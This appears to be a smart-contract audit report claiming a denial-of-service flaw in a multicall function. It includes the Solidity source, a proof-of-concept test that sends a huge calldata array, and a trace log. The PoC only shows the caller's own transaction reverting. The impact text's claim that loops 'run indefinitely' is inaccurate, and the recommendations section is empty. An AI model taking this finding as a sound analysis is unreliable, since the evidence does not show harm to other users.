Summary
A Denial-of-Service (DoS) vulnerability was identified in the TradingAccountBranch::createTradingAccountAndMulticall function within a Solidity smart contract.
Vulnerability Details
A Denial-of-Service (DoS) vulnerability was identified in the TradingAccountBranch::createTradingAccountAndMulticall function within a Solidity smart contract. This function processes an array of data in a loop, allowing an attacker to submit large arrays and cause the contract to consume excessive gas, potentially leading to service disruption.
function createTradingAccountAndMulticall(
bytes[] calldata data,
bytes memory referralCode,
bool isCustomReferralCode
)
external
payable
virtual
returns (bytes[] memory results)
{
uint128 tradingAccountId = createTradingAccount(referralCode, isCustomReferralCode);
results = new bytes[](data.length);
for (uint256 i; i < data.length; i++) {
bytes memory dataWithAccountId = bytes.concat(data[i][0:4], abi.encode(tradingAccountId), data[i][4:]);
(bool success, bytes memory result) = address(this).delegatecall(dataWithAccountId);
if (!success) {
uint256 len = result.length;
assembly {
revert(add(result, 0x20), len)
}
}
results[i] = result;
}
}
POC
pragma solidity 0.8.25;
import { TradingAccountBranch } from "@zaros/perpetuals/branches/TradingAccountBranch.sol";
import { Base_Test } from "test/Base.t.sol";
contract CreateTradingAccountAndMulticall_Integration_Test is Base_Test {
function setUp() public override {
Base_Test.setUp();
}
function test_poc_dosincreateTradingAccountAndMulticall() external {
uint256 largeArraySize = 1000000;
bytes[] memory data = new bytes[](largeArraySize);
for(uint256 i=0; i<largeArraySize; i++) {
data[i] = abi.encodeWithSelector(TradingAccountBranch.getTradingAccountToken.selector);
}
vm.expectRevert();
perpsEngine.createTradingAccountAndMulticall(data, bytes(""), false);
}
}
result
Ran 1 test for test/integration/perpetuals/trading-account-branch/createTradingAccountAndMulticall/createTradingAccountAndMulticall.t.sol:CreateTradingAccountAndMulticall_Integration_Test
[PASS] test_poc_dosincreateTradingAccountAndMulticall() (gas: 322591204)
Logs:
UpgradeBranch: 0xb53e0264f951C0ee4cA20Cfd5a082B8251844BD5
LookupBranch: 0xec1f4727BEc84915fC1c59764F96276EBaA35Ce5
...
...
│ │ │ └─ ← [Return] Trading Account NFT: [0x6E1734aC57e76fcD7fD66266Ae0C2547dB3A713a]
│ │ ├─ [1435] Perps Engine::getTradingAccountToken() [delegatecall]
│ │ │ ├─ [689] TradingAccountBranch::getTradingAccountToken() [delegatecall]
│ │ │ │ └─ ← [Return] Trading Account NFT: [0x6E1734aC57e76fcD7fD66266Ae0C2547dB3A713a]
│ │ │ └─ ← [Return] Trading Account NFT: [0x6E1734aC57e76fcD7fD66266Ae0C2547dB3A713a]
│ │ ├─ [1435] Perps Engine::getTradingAccountToken() [delegatecall]
│ │ │ ├─ [689] TradingAccountBranch::getTradingAccountToken() [delegatecall]
│ │ │ │ └─ ← [Return] Trading Account NFT: [0x6E1734aC57e76fcD7fD66266Ae0C2547dB3A713a]
│ │ │ └─ ← [Return] Trading Account NFT: [0x6E1734aC57e76fcD7fD66266Ae0C2547dB3A713a]
│ │ ├─ [1435] Perps Engine::getTradingAccountToken() [delegatecall]
│ │ │ ├─ [689] TradingAccountBranch::getTradingAccountToken() [delegatecall]
│ │ │ │ └─ ← [Return] Trading Account NFT: [0x6E1734aC57e76fcD7fD66266Ae0C2547dB3A713a]
│ │ │ └─ ← [Return] Trading Account NFT: [0x6E1734aC57e76fcD7fD66266Ae0C2547dB3A713a]
│ │ ├─ [1435] Perps Engine::getTradingAccountToken() [delegatecall]
│ │ │ ├─ [689] TradingAccountBranch::getTradingAccountToken() [delegatecall]
│ │ │ │ └─ ← [Return] Trading Account NFT: [0x6E1734aC57e76fcD7fD66266Ae0C2547dB3A713a]
│ │ │ └─ ← [Return] Trading Account NFT: [0x6E1734aC57e76fcD7fD66266Ae0C2547dB3A713a]
│ │ └─ ← [Revert] EvmError: Revert
│ └─ ← [Revert] EvmError: Revert
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 187.01ms (171.05ms CPU time)
Ran 1 test suite in 1.25s (187.01ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Unbounded loops, which lack a clear termination point, present a critical risk to Solidity smart contracts. Such loops can run indefinitely, leading to unpredictable and potentially excessive gas consumption. Malicious actors can leverage this uncertainty to deplete a contract’s resources or make it inoperable.
Tools Used
Recommendations